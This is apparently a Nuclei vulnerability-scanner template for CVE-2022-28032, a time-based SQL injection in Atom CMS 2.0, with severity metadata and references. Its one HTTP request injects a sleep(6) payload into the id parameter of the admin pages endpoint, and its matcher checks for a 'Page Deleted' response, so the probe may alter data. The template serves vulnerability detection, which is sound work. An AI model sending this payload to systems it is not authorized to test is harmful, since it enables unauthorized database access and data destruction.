id: CVE-2022-28032

info:
  name: Atom CMS v2.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    AtomCMS 2.0 is vulnerable to SQL Injection via Atom.CMS_admin_ajax_pages.php
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Fixed in version Atom CMS v2.1
  reference:
    - https://github.com/thedigicraft/Atom.CMS/issues/263
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28032
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/bornrootcom/fictional-memory
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-28032
    cwe-id: CWE-89
    epss-score: 0.05995
    epss-percentile: 0.92384
    cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thedigitalcraft
    product: atomcms
  tags: time-based-sqli,cve,cve2022,sqli,atom,cms,thedigitalcraft,vuln

http:
  - raw:
      - |
        @timeout: 20s
        GET /admin/ajax/pages.php?id=(sleep(6)) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "Page Deleted")'
        condition: and
# digest: 4a0a00473045022014adc453c4d0a295c9a1de6df25f25320249e9079d6df4de04c5bf0db0a53767022100df3930433c63c428533953442891dc4381defaac23d3824f26d6fb0c1811d859:922c64590222798bb761d5b6d8e72950